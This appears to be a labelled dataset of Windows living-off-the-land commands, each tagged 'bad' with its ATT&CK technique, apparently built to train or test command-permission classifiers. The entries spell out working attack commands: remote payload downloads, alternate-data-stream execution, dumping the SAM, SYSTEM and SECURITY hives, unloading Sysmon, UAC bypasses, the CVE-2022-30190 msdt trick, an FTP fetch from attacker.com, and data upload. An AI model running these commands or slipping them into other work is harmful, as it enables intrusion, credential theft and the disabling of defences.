cowWhySo/permission-command-corpus huggingface dataset:
Command: sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: EXE
Source rule: Sc.exe
Notes: Creates a new service and executes the file stored in the ADS.
Command: sc config {ExistingServiceName} binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start {ExistingServiceName}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: EXE
Source rule: Sc.exe
Notes: Modifies an existing service and executes the file stored in the ADS.
Command: MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.013, Execute: DLL
Source rule: Mavinject.exe
Notes: Inject evil.dll into a process with PID 3110.
Command: Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: DLL
Source rule: Mavinject.exe
Notes: Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172
Command: msedge.exe {REMOTEURL:.exe.txt}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Msedge.exe
Notes: Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
Command: msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Msedge.exe
Notes: Edge will silently download the file. File extension should be .html and binaries should be encoded.
Command: msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: CMD
Source rule: Msedge.exe
Notes: Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command
Command: echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: Ftp.exe
Notes: Executes the commands you put inside the text file.
Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Ftp.exe
Notes: Download
Command: makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Type: Compression
Source rule: Makecab.exe
Notes: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
Command: makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cab
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Type: Compression
Source rule: Makecab.exe
Notes: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
Command: makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105, Type: Compression
Source rule: Makecab.exe
Notes: Download and compresses the target file and stores it in the target file.
Command: makecab /F {PATH:.ddf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1036, Type: Compression
Source rule: Makecab.exe
Notes: Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
Command: wscript //e:vbscript {PATH}:script.vbs
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: WSH
Source rule: Wscript.exe
Notes: Execute script stored in an alternate data stream
Command: echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Wscript.exe
Notes: Download and execute script stored in an alternate data stream
Command: forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Forfiles.exe
Notes: Executes specified command since there is a match for notepad.exe in the c:\windows\System32 folder.
Command: forfiles /p c:\windows\system32 /m notepad.exe /c "{PATH_ABSOLUTE}:evil.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: EXE
Source rule: Forfiles.exe
Notes: Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\windows\system32 folder.
Command: runexehelper.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022
ATT&CK tags: T1218, Execute: EXE
Source rule: Runexehelper.exe
Notes: Launches the specified exe. Prerequisites: (1) diagtrack_action_output environment variable must be set to an existing, writable folder; (2) runexewithargs_output.txt file cannot exist in the folder indicated by the variable.
Command: ie4uinit.exe -BaseSettings
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: INF
Source rule: Ie4uinit.exe
Notes: Executes commands from a specially prepared ie4uinit.inf file.
Command: Msconfig.exe -5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218, Execute: CMD
Source rule: Msconfig.exe
Notes: Executes command embeded in crafted c:\windows\system32\mscfgtlc.xml.
Command: fltMC.exe unload SysmonDrv
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Tamper
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1562.001
Source rule: fltMC.exe
Notes: Unloads a driver used by security agents
Command: c:\windows\syswow64\iscsicpl.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1548.002, Execute: DLL
Source rule: iscsicpl.exe
Notes: c:\windows\syswow64\iscsicpl.exe has a DLL injection through `C:\Users\<username>\AppData\Local\Microsoft\WindowsApps\ISCSIEXE.dll`, resulting in UAC bypass.
Command: iscsicpl.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1548.002, Execute: CMD, Application: GUI
Source rule: iscsicpl.exe
Notes: Both `c:\windows\system32\iscsicpl.exe` and `c:\windows\system64\iscsicpl.exe` have UAC bypass through launching iscicpl.exe, then navigating into the Configuration tab, clicking Report, then launching your custom command.
Command: msedgewebview2.exe --no-sandbox --browser-subprocess-path="{PATH_ABSOLUTE:.exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: EXE
Source rule: msedgewebview2.exe
Notes: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified executable as its subprocess.
Command: msedgewebview2.exe --utility-cmd-prefix="{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: CMD
Source rule: msedgewebview2.exe
Notes: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.
Command: msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher="{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: CMD
Source rule: msedgewebview2.exe
Notes: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.
Command: msedgewebview2.exe --no-sandbox --renderer-cmd-prefix="{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: CMD
Source rule: msedgewebview2.exe
Notes: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.
Command: InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.004, Execute: DLL (.NET), Execute: EXE (.NET)
Source rule: Installutil.exe
Notes: Execute the target .NET DLL or EXE.
Command: InstallUtil.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Installutil.exe
Notes: It will download a remote payload and place it in INetCache.
Command: query.exe user
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE, Requires: Rename
Source rule: Query.exe
Notes: Once executed, `query.exe` will execute `quser.exe` in the same folder. Thus, if `query.exe` is copied to a folder and an arbitrary executable is renamed to `quser.exe`, `query.exe` will spawn it. Instead of `user`, it is also possible to use `session`, `termsession` or `process` as command-line option.
Command: reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Reg.exe
Notes: Export the target Registry key and save it to the specified .REG file within an Alternate data stream.
Command: reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Credentials
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1003.002
Source rule: Reg.exe
Notes: Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material
Command: verclsid.exe /S /C {CLSID}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.012, Execute: COM
Source rule: Verclsid.exe
Notes: Used to verify a COM object before it is instantiated by Windows Explorer
Command: rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127.002, Execute: ClickOnce, Execute: Remote
Source rule: Dfsvc.exe
Notes: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Command: wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: EXE
Source rule: Wmic.exe
Notes: Execute a .EXE file stored as an Alternate Data Stream (ADS)
Command: wmic.exe process call create "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: CMD
Source rule: Wmic.exe
Notes: Execute calc from wmic
Command: wmic.exe /node:"192.168.0.1" process call create "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: CMD, Execute: Remote
Source rule: Wmic.exe
Notes: Execute evil.exe on the remote system.
Command: wmic.exe process get brief /format:"{REMOTEURL:.xsl}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: XSL, Execute: Remote
Source rule: Wmic.exe
Notes: Create a volume shadow copy of NTDS.dit that can be copied.
Command: wmic.exe process get brief /format:"{PATH_SMB:.xsl}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: XSL, Execute: Remote
Source rule: Wmic.exe
Notes: Executes JScript or VBScript embedded in the target remote XSL stylsheet.
Command: wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Wmic.exe
Notes: Copy file from source to destination.
Command: msiexec /quiet /i {PATH:.msi}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.007, Execute: MSI
Source rule: Msiexec.exe
Notes: Installs the target .MSI file silently.
Command: msiexec /q /i {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.007, Execute: MSI, Execute: Remote
Source rule: Msiexec.exe
Notes: Installs the target remote & renamed .MSI file silently.
Command: msiexec /y {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.007, Execute: DLL, Execute: Remote
Source rule: Msiexec.exe
Notes: Calls DllRegisterServer to register the target DLL.
Command: msiexec /z {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.007, Execute: DLL, Execute: Remote
Source rule: Msiexec.exe
Notes: Calls DllUnregisterServer to un-register the target DLL.
Command: msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.007, Execute: MSI, Execute: MST, Execute: Remote
Source rule: Msiexec.exe
Notes: Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.
Command: sigverif.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: EXE, Application: GUI
Source rule: Sigverif.exe
Notes: Launch sigverif.exe GUI, click 'Advanced', specify arbitrary executable path as 'log file name', then click 'View Log' to execute the binary.
Command: odbcad32.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: UAC Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1548.002, Execute: CMD, Application: GUI
Source rule: odbcad32.exe
Notes: Launch odbcad32.exe GUI, click 'Tracing' tab, click 'Browsing' button, enter abitrary command in the File Dialog's path, press enter.
Command: wt.exe {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: wt.exe
Notes: Execute a command via Windows Terminal.
Command: ssh localhost "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 1809, Windows Server 2019
ATT&CK tags: T1202, Execute: CMD
Source rule: ssh.exe
Notes: Executes specified command on host machine. The prompt for password can be eliminated by adding the host's public key in the user's authorized_keys file. Adversaries can do the same for execution on remote machines.
Command: ssh -o ProxyCommand="{CMD}" .
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1202, Execute: CMD
Source rule: ssh.exe
Notes: Executes specified command from ssh.exe
Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: .NetObjects
Source rule: AddinUtil.exe
Notes: AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.
Command: ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Upload
Platform: Windows 10
ATT&CK tags: T1567
Source rule: ConfigSecurityPolicy.exe
Notes: Upload file, credentials or data exfiltration in general
Command: ConfigSecurityPolicy.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: ConfigSecurityPolicy.exe
Notes: It will download a remote payload and place it in INetCache.
Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Application: GUI, Execute: MSI
Source rule: Msdt.exe
Notes: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.
Command: msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Application: GUI, Execute: CMD
Source rule: Msdt.exe
Notes: Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
Command: explorer.exe /root,"{PATH_ABSOLUTE:.exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows XP, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Explorer.exe
Notes: Execute specified .exe with the parent process spawning from a new instance of explorer.exe
Command: explorer.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Explorer.exe
Notes: Execute notepad.exe with the parent process spawning from a new instance of explorer.exe
Command: certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Certutil.exe
Notes: Download and save an executable to disk in the current folder.
Command: certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Certutil.exe
Notes: Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.
Command: certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Certutil.exe
Notes: Download and save a .ps1 file to an Alternate Data Stream (ADS).
Command: certutil.exe -URL {REMOTEURL:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Application: GUI
Source rule: Certutil.exe
Notes: Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.
Command: certutil -encode {PATH} {PATH:.base64}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Encode
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1027.013
Source rule: Certutil.exe
Notes: Command to encode a file using Base64
Command: certutil -decode {PATH:.base64} {PATH}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Decode
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1140
Source rule: Certutil.exe
Notes: Command to decode a Base64 encoded file.
Command: certutil -decodehex {PATH:.hex} {PATH}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Decode
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1140
Source rule: Certutil.exe
Notes: Command to decode a hexadecimal-encoded file.
Command: xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: COM
Source rule: Xwizard.exe
Notes: Xwizard.exe running a custom class that has been added to the registry.